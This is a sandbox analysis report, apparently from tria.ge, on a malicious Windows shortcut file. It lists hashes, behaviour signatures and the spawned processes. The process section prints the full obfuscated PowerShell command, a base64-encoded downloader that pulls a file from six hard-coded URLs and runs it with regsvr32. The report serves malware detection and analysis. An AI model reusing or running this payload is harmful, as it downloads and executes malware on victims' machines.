Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

06/09/2022, 13:38

220906-qxnn7adff7 10

14/06/2022, 07:29

220614-jbbdeacfdk 10

13/06/2022, 22:26

220613-2cyjfafdb8 10

13/06/2022, 20:59

220613-zstjbaagap 10

Analysis

  • max time kernel
    37s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    06/09/2022, 13:38

General

  • Target

    UU3444499999999AA.lnk

  • Size

    3KB

  • MD5

    08205fbc8d439bb4dbded1b3b4146daa

  • SHA1

    f07b89b0bb7691406f109e6be7d59551efa91fc7

  • SHA256

    3e3b827cf8b350d18fc92feb1c7bafd89ca2239eb903bef27bdc06a41de98b57

  • SHA512

    c1045c4ab9ce5e3fe0b2c13521b75e824b1501c626782aad55a20923d88ecdc9c0f28fd0b6f005dc5ea69b8af50bd7bb5963f389da55a4e7fc74fa8defbbc902

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\UU3444499999999AA.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'/ZIIDxaZ4eOrVrXwvO7wSOLQe/f4UxLlrO9bmR5Uq4eReEdw+a2fZRMSDRMsW+yRtA38AWvk';$Hkc='JlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vbmljb2xhc3Nwb3J0YWZvbGlvLmF0d2VicGFnZXMuY29tL2Nzcy94S0FLYXpDVE4vIiwiaHR0cDovL3d3dy5haGFuLm9yZy5way9jYXRhbG9ndWVzL3YzLyIsImh0dHA6Ly9ucmMtc29sdWNpb25lcy5jb20uYXIvY2dpLWJpbi9uOWIwQTlOM0pScks2TXkvIiwiaHR0cDovL3d3dy5hZ3JldHRvLmNvbS9UZW1wbGF0ZS9qRURZQ1ltOG50SnQwU3EvIiwiaHR0cHM6Ly9teWFubWFyY2hlZnMuY29tL3dwLWNvbnRlbnQvS3VHNFc3aC8iLCJodHRwOi8vd29vbGxvb21vb2xvby5ubC9jZ2ktYmluL3pJZHdOQzJkLyIpOyR0PSJlblBNTXZSbiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxLS0h3RUx3Y29YLnJLVTtSZWdzdnIzMi5leGUgIiRkXEtLSHdFTHdjb1gucktVIjticmVha30gY2F0Y2ggeyB9fQ==';$ZYCJ='IFdyaXRlLUhvc3QgInNBYlZTIjskUHJvZ3Jlc3NQcmVmZX';$ZYCJ=$ZYCJ+$Hkc;$EL=$ZYCJ;$gFtY=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($EL));$EL=$gFtY;iex($EL)}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1900

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1780-54-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

    Filesize

    8KB

  • memory/1900-93-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

    Filesize

    10.1MB

  • memory/1900-95-0x0000000002954000-0x0000000002957000-memory.dmp

    Filesize

    12KB

  • memory/1900-94-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

    Filesize

    11.4MB

  • memory/1900-96-0x000000000295B000-0x000000000297A000-memory.dmp

    Filesize

    124KB

  • memory/1900-97-0x0000000002954000-0x0000000002957000-memory.dmp

    Filesize

    12KB

  • memory/1900-98-0x000000000295B000-0x000000000297A000-memory.dmp

    Filesize

    124KB